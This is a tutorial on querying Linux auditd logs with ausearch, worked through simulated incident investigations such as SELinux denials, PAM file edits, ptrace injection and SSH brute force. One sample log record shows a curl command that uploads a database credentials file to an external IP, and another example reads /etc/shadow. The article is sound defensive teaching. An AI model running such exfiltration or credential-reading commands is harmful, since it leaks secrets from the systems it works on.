Ausearch: Querying Linux Auditd Logs, Decoding SELinux AVC Denials, and Triaging Security Incidents in Production

What stares back at you is a wall of fractured, asynchronous noise. Instead of a tidy narrative explaining who touched what and when, your terminal fills with disconnected fragments of text—cryptic hexadecimal strings, split timestamps, and thousands of interleaved log lines shouting over one another. Searching for a suspicious filename shows you the path, but silently discards the user identity behind the command. Searching for a process ID shows you the binary name, but loses the filesystem context.

This chaos happens because the Linux kernel does not record security-critical activity as neat, human-friendly log strings. When something happens deep inside the operating system—a system call is executed, a file inode is written to, or a mandatory access control rule blocks a process—the kernel records the event across multiple linked records, each holding a separate piece of the puzzle. When you slice through that stream with traditional text-processing tools like grep or awk, you sever the connective tissue holding the incident together.

To cut through this transactional fog, Linux systems provide ausearch, a purpose-built querying interface for the Linux Audit Subsystem (auditd). Rather than treating audit logs as flat text, ausearch understands the internal relational schema of the Linux kernel's audit event streams. It automatically correlates disparate multi-line records sharing a common timestamp and serial ID, stitching them into unified, coherent transactions while dynamically translating low-level numeric identifiers, system call tables, and hexadecimal byte streams into clear English.

If you ever find yourself dropped into a live incident and need immediate clarity on what privileged users and authentication mechanisms have been doing today, this single command gives you the entire picture in plain text:

ausearch -m USER_AUTH,USER_LOGIN,USER_CHAUTHTOK -ts today -i

----
time->Tue Aug 19 08:14:22 2026
type=USER_AUTH msg=audit(1787127262.410:894): pid=24105 uid=0 auid=1001 ses=4 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=pam_usertype,pam_localuser,pam_unix acct="root" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/0 res=success'
----
time->Tue Aug 19 08:14:22 2026
type=USER_LOGIN msg=audit(1787127262.415:895): pid=24105 uid=0 auid=1001 ses=4 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=login id=1001 exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/0 res=success'

In just two reconstructed event records, you instantly establish an unbroken chain of custody: the user who originally logged in under UID 1001 (auid=1001) elevated privileges to root (uid=0) using /usr/bin/sudo on pseudo-terminal session 4 (ses=4), authenticated cleanly through the PAM subsystem (res=success).

Core Flags and Rapid Operational Onboarding

Navigating the Linux audit daemon requires familiarity with its core filtering parameters. The ausearch utility structures its queries around temporal boundaries, record categories, security identifiers, and kernel hooks.

Anatomical Deep-Dive: The Linux Audit Record Schema

To extract genuine diagnostic value from ausearch, an engineer must understand how kernel audit events are constructed under the hood, as outlined in the Linux Kernel Audit Subsystem Documentation.

Whenever an in-kernel hook is triggered, the kernel generates an atomic event stamped with a composite primary key: msg=audit(epoch_time.milliseconds:serial_number). Every individual record sharing this exact epoch timestamp and serial number belongs to the same operation.

Consider this raw SYSCALL event emitted during a privilege escalation attempt:

type=SYSCALL msg=audit(1787128941.102:1042): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd3a11 b0 a1=7ffd3a11c0 a2=7ffd3a11d0 a3=7ffd3a11e0 items=2 ppid=1420 pid=2841 auid=1000 uid=0 euid=0 suid=0 fsuid=0 gid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=2 comm="malicious.sh" exe="/bin/bash" subj=unconfined_u:unconfined_r:unconfined_t:s0 key="priv_escalation"

Each field inside this record provides vital evidentiary context:

The preservation of auid (the audit login ID) represents the core pillar of Linux non-repudiation. Even if a threat actor logs in as an unprivileged user (auid=1000), exploits a local privilege vulnerability to change their effective UID to root (euid=0), and spawns an interactive administrative shell, every subsequent system call remains indelibly tagged with their original auid=1000.

Five Real-World Production Investigations

1. Triaging SELinux AVC Denials and Correlating Daemon Failures

The Operational Scenario

Following a system upgrade and security hardening cycle, an NGINX reverse proxy fails to serve static assets located on an attached network storage mount, returning HTTP 500 Internal Server Errors to clients. Standard application error logs report vague "Permission Denied" errors despite the filesystem directory possessing wide-open 777 permissions. The sysadmin suspects an Access Vector Cache (AVC) denial enforced by Security-Enhanced Linux (SELinux).

The Forensic Query

ausearch -m AVC,USER_AVC -ts recent -i

Realistic Terminal Telemetry

----
time->Tue Aug 19 09:32:15 2026
type=AVC msg=audit(1787131935.612:1284): avc:  denied  { read } for  pid=3142 comm="nginx" name="index.html" dev="nfs01" ino=948123 scontext=system_u:system_r:httpd_t:s0 tcontext=system_u:object_r:nfs_t:s0 tclass=file permissive=0
----
time->Tue Aug 19 09:32:15 2026
type=SYSCALL msg=audit(1787131935.612:1284): arch=x86_64 syscall=openat success=no exit=-13(Permission denied) a0=0xffffff9c a1=0x55d81a9bc410 a2=0x80000 a3=0x0 items=1 ppid=3140 pid=3142 auid=unset uid=nginx gid=nginx euid=nginx suid=nginx fsuid=nginx tty=(none) ses=unset comm="nginx" exe="/usr/sbin/nginx" subj=system_u:system_r:httpd_t:s0 key=(null)
type=CWD msg=audit(1787131935.612:1284): cwd="/var/www"
type=PATH msg=audit(1787131935.612:1284): item=0 name="/mnt/storage/web/index.html" inode=948123 dev=00:3a mode=file,644 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0

Line-by-Line Telemetry Dissection

1. type=AVC ... avc: denied { read }: The SELinux kernel subsystem intercepted and blocked an attempt to read file contents.
2. pid=3142 comm="nginx": Pinpoints the offending process as the NGINX worker thread.
3. scontext=system_u:system_r:httpd_t:s0: The source security context under which NGINX operates (httpd_t).
4. tcontext=system_u:object_r:nfs_t:s0: The target security context assigned to the remote storage mount (nfs_t).
5. tclass=file permissive=0: The target object class is a standard file, and SELinux is actively enforcing policy (permissive=0), causing the kernel to drop the request.
6. syscall=openat success=no exit=-13(Permission denied): The corresponding openat system call aborted immediately with standard POSIX error code -13 (EACCES).
7. name="/mnt/storage/web/index.html": The exact file path resolved during the system call traversal.

What the Administrator Does Next

Rather than making the dangerous mistake of disabling SELinux globally (setenforce 0), the administrator recognises that the httpd_t policy domain simply requires permission to interact with network mounts. The engineer enables the appropriate SELinux boolean persistently:

setsebool -P httpd_use_nfs 1

A subsequent ausearch -m AVC -ts recent run confirms that new denial records have ceased.

2. Tracking Sensitive File Modifications via Defined Audit Rule Keys

The Operational Scenario

A compliance mandate requires strict monitoring of the system Pluggable Authentication Module (PAM) configuration directory. An explicit audit rule was previously configured in /etc/audit/rules.d/audit.rules:

-w /etc/pam.d/ -p wa -k pam_config_watch

An intrusion detection alert reports that /etc/pam.d/system-auth was modified outside a scheduled maintenance window. The administrator must determine who modified the file, what program was used, and identify the physical user behind any privilege escalation.

The Forensic Query

ausearch -k pam_config_watch -ts today -i

Realistic Terminal Telemetry

----
time->Tue Aug 19 10:14:02 2026
type=PROCTITLE msg=audit(1787134442.204:1592): proctitle="vim" "/etc/pam.d/system-auth"
type=PATH msg=audit(1787134442.204:1592): item=1 name="/etc/pam.d/system-auth" inode=1052671 dev=fd:00 mode=file,644 ouid=root ogid=root rdev=00:00 nametype=CREATE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1787134442.204:1592): item=0 name="/etc/pam.d/" inode=1048600 dev=fd:00 mode=dir,755 ouid=root ogid=root rdev=00:00 nametype=PARENT cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1787134442.204:1592): cwd="/home/d.chen"
type=SYSCALL msg=audit(1787134442.204:1592): arch=x86_64 syscall=openat success=yes exit=3 a0=0xffffff9c a1=0x559e38d7a3e0 a2=0x241 a3=0x1b6 items=2 ppid=4102 pid=4891 auid=1004 uid=root euid=root suid=root fsuid=root gid=root egid=root sgid=root fsgid=root tty=pts2 ses=7 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0 key="pam_config_watch"

Line-by-Line Telemetry Dissection

1. type=PROCTITLE ... proctitle="vim" "/etc/pam.d/system-auth": Extracts the exact command line executed by the user directly from kernel memory.
2. type=PATH ... nametype=CREATE: Reveals that Vim created a new file inode to write out the updated buffer.
3. cwd="/home/d.chen": Exposes the user's working directory at the exact moment the file was saved.
4. syscall=openat success=yes exit=3: Confirms the file handle was opened with write and truncation flags (a2=0x241).
5. auid=1004 uid=root euid=root: The critical non-repudiation proof. Although the edit was performed with full root privileges (euid=root), the human being who established the shell session was user account 1004 (d.chen).
6. ses=7 tty=pts2: Links the action directly to interactive pseudo-terminal session 7.

What the Administrator Does Next

The sysadmin verifies the account identity against the directory service:

getent passwd 1004

The team contacts engineer d.chen to confirm authorization. If the activity is suspicious or unapproved, the administrator terminates the active session (pkill -9 -s 7), restores /etc/pam.d/system-auth from version control, and initiates standard security incident escalation.

3. Auditing Suspicious Syscall Invocations to Detect Privilege Escalation

The Operational Scenario

A behavior monitoring tool detects abnormal memory operations on an API gateway. The infrastructure team suspects that a threat actor has gained an unprivileged foothold and is attempting process memory injection or binary tampering against a backend daemon using the ptrace system call.

The Forensic Query

ausearch -sc ptrace -ts today -i

Realistic Terminal Telemetry

----
time->Tue Aug 19 11:05:48 2026
type=SYSCALL msg=audit(1787137548.882:2104): arch=x86_64 syscall=ptrace success=no exit=-1(Operation not permitted) a0=PTRACE_ATTACH a1=0x41a a2=0x0 a3=0x0 items=0 ppid=5912 pid=6109 auid=1002 uid=1002 euid=1002 suid=1002 fsuid=1002 gid=1002 egid=1002 sgid=1002 fsgid=1002 tty=pts0 ses=3 comm="injector" exe="/tmp/.hidden/injector" subj=unconfined_u:unconfined_r:unconfined_t:s0 key=(null)
type=PROCTITLE msg=audit(1787137548.882:2104): proctitle="./injector" "--pid" "1050"

Line-by-Line Telemetry Dissection

1. syscall=ptrace: The process directly invoked sys_ptrace, the core Linux debugging and memory manipulation interface.
2. a0=PTRACE_ATTACH a1=0x41a: The interpreted parameter PTRACE_ATTACH reveals an attempt to hijack another process; hexadecimal 0x41a indicates target PID 1050.
3. success=no exit=-1(Operation not permitted): The kernel's Yama security module blocked the attempt with an -EPERM error code.
4. exe="/tmp/.hidden/injector": The binary was executed from a hidden folder inside a world-writable directory—a classic indicator of compromise.
5. auid=1002 uid=1002: The attack was launched from local user account 1002.

What the Administrator Does Next

The administrator performs immediate containment and forensic preservation:

1. Freezes the process tree and preserves the malicious binary for analysis: bash cp /tmp/.hidden/injector /root/forensics_payload.bin kill -9 6109 5912
2. Audits all other commands initiated by this user today: bash ausearch -ua 1002 -ts today -i
3. Hardens system-wide ptrace restrictions using sysctl: bash sysctl -w kernel.yama.ptrace_scope=2

4. Pinpointing Rogue Process Execution by Executable Name During Active Triage

The Operational Scenario

Network perimeter monitoring alerts on unexpected outbound HTTPS traffic leaving a container host toward an unknown external IP address. The security operations center suspects that an attacker has exploited a web application vulnerability and is using /usr/bin/curl to exfiltrate database credentials.

The Forensic Query

ausearch -x /usr/bin/curl -ts "08/19/2026 00:00:00" -i

Realistic Terminal Telemetry

----
time->Tue Aug 19 11:45:10 2026
type=PROCTITLE msg=audit(1787139910.114:2890): proctitle="curl" "-s" "-F" "data=@/var/www/config/database.yml" "https://198.51.100.42/drop"
type=PATH msg=audit(1787139910.114:2890): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=262204 dev=fd:00 mode=file,755 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1787139910.114:2890): item=0 name="/usr/bin/curl" inode=274912 dev=fd:00 mode=file,755 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1787139910.114:2890): cwd="/var/www/html"
type=EXECVE msg=audit(1787139910.114:2890): argc=5 a0="curl" a1="-s" a2="-F" a3="data=@/var/www/config/database.yml" a4="https://198.51.100.42/drop"
type=SYSCALL msg=audit(1787139910.114:2890): arch=x86_64 syscall=execve success=yes exit=0 a0=0x56123489 a1=0x561234b0 a2=0x561234e0 a3=0x0 items=2 ppid=812 pid=9844 auid=unset uid=apache euid=apache suid=apache fsuid=apache gid=apache egid=apache sgid=apache fsgid=apache tty=(none) ses=unset comm="curl" exe="/usr/bin/curl" subj=system_u:system_r:httpd_t:s0 key="web_exec_monitor"

Line-by-Line Telemetry Dissection

1. type=EXECVE ... a3="data=@/var/www/config/database.yml": Captures the exact parameters passed to curl, proving an active exfiltration of production database secrets.
2. cwd="/var/www/html": Confirms the process was executed from the web server document root, indicating remote code execution (RCE).
3. ppid=812 pid=9844: Identifies parent process ID 812 as the spawning process.
4. uid=apache euid=apache: Shows that the command ran under the web server's service account.
5. key="web_exec_monitor": The event was caught by an existing audit rule monitoring child processes in the web tier.

What the Administrator Does Next

1. Inspects the parent process to find the compromised web application thread: bash ausearch -p 812 -i
2. Quarantines the container, blocks outbound network traffic to destination IP 198.51.100.42, immediately rotates database credentials found in /var/www/config/database.yml, and preserves the audit logs for incident reporting.

5. Auditing Authentication Subsystem Telemetry on Bastion Hosts

The Operational Scenario

An SSH bastion host experiences elevated CPU utilisation and authentication latency within sshd worker processes. The operations team needs to determine whether the server is facing a coordinated brute-force attack or credential stuffing attempt.

The Forensic Query

ausearch -m USER_AUTH,USER_LOGIN -ts today --success no -i

Realistic Terminal Telemetry

----
time->Tue Aug 19 12:18:41 2026
type=USER_AUTH msg=audit(1787141921.301:3401): pid=12190 uid=0 auid=unset ses=unset subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="root" exe="/usr/sbin/sshd" hostname=203.0.113.88 addr=203.0.113.88 terminal=ssh res=failed'
----
time->Tue Aug 19 12:18:43 2026
type=USER_AUTH msg=audit(1787141923.412:3402): pid=12195 uid=0 auid=unset ses=unset subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="admin" exe="/usr/sbin/sshd" hostname=203.0.113.88 addr=203.0.113.88 terminal=ssh res=failed'
----
time->Tue Aug 19 12:18:45 2026
type=USER_AUTH msg=audit(1787141925.890:3403): pid=12201 uid=0 auid=unset ses=unset subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="postgres" exe="/usr/sbin/sshd" hostname=203.0.113.88 addr=203.0.113.88 terminal=ssh res=failed'

Line-by-Line Telemetry Dissection

1. type=USER_AUTH: Represents an authentication transaction processed by the Pluggable Authentication Modules (PAM) stack.
2. op=PAM:authentication: Identifies the specific authentication evaluation stage.
3. acct="root", acct="admin", acct="postgres": Highlights automated username cycling indicative of dictionary-based credential stuffing.
4. hostname=203.0.113.88 addr=203.0.113.88: Pinpoints the remote source IP address generating the login attempts.
5. res=failed: Confirms that each attempt was rejected.

What the Administrator Does Next

The administrator extracts the attacking IP addresses from the audit stream and feeds them straight into a kernel-level nftables blackhole set:

ausearch -m USER_AUTH -ts today --success no -i | awk -F'addr=' '/addr=/ {print $2}' | awk '{print $1}' | sort -u | while read -r ip; do
    if [ "$ip" != "?" ]; then
        nft add element inet filter blackhole { "$ip" }
    fi
done

The engineer then audits sshd_config across the cluster to verify that password authentication and direct root logins are strictly disabled (PasswordAuthentication no, PermitRootLogin no).

Architectural Pitfalls, Performance Bottlenecks, and Edge Cases

While ausearch provides invaluable visibility, improper querying on busy production servers can cause disk I/O bottlenecks or lead to misinterpreted results.

1. Performance Degradation Across Multi-Gigabyte Unindexed Flat Files

Unlike dedicated search databases, /var/log/audit/audit.log is an unindexed, append-only flat text file. Running an unbounded ausearch query across a busy server with 50GB of rotated audit logs triggers a massive linear disk scan that can saturate storage queues and starve co-located databases.

2. The Uninterpreted Hexadecimal Conundrum

When a command executes arguments containing spaces, quotes, or special characters, the Linux kernel encodes the string as a raw hexadecimal byte sequence to protect log parser integrity.

For example, the command:

cat "/etc/shadow"

May appear in the raw audit log as:

a1=2F6574632F736861646F77

If you omit the -i (--interpret) flag, searching for /etc/shadow will return zero matches, producing a dangerous false negative during an investigation. Always include -i to ensure automatic character decoding, UID resolution, and system call translation.

3. Log Rotation Race Conditions and SIEM Forwarding Architecture

In high-throughput environments, audit logs can rotate every few minutes. Running queries only against the primary /var/log/audit/audit.log file can miss events that occurred right before a rotation.

In production architectures, follow best practices: - Use the Audit Dispatcher (audispd) or modern in-kernel Netlink consumers to forward events in real-time to a central SIEM pipeline. - Tune the kernel audit queue buffer in /etc/audit/rules.d/audit.rules (-b 8192 or -b 16384) and configure the backlog failure mode (-f 1) to prevent dropped events during traffic spikes. Consult the Red Hat Enterprise Linux Security Hardening Guide for formal queue sizing recommendations.

Comparative Matrix: Forensic Utility Capabilities

Understanding where ausearch fits alongside complementary utilities helps you choose the right tool for the job:

Today's Takeaway

The Linux Audit Subsystem is your operating system's definitive, kernel-level recording mechanism. Using grep to parse it invites confusion; utilizing ausearch unlocks complete visibility. Run this command on your machine right now to inspect all administrative privileges exercised over the past 24 hours:

ausearch -m USER_AUTH -ts yesterday -i

As you review the output, notice how auid reveals the authentic origin of every elevated command, how PAM modules record their verdicts, and how every system event connects to an explicit process identity. Make ausearch a standard part of your diagnostic toolkit, and you will turn an overwhelming wall of log noise into an organized, forensic ledger of system activity.

Authoritative Documentation & Reference Links

• Linux Audit Project Documentation
• ausearch(8) Linux Manual Page
• auditd(8) Daemon Architecture Manual
• ArchWiki Linux Audit Framework Guide
• Red Hat Enterprise Linux 9: Auditing the System
• The SELinux Notebook: Access Vector Cache Auditing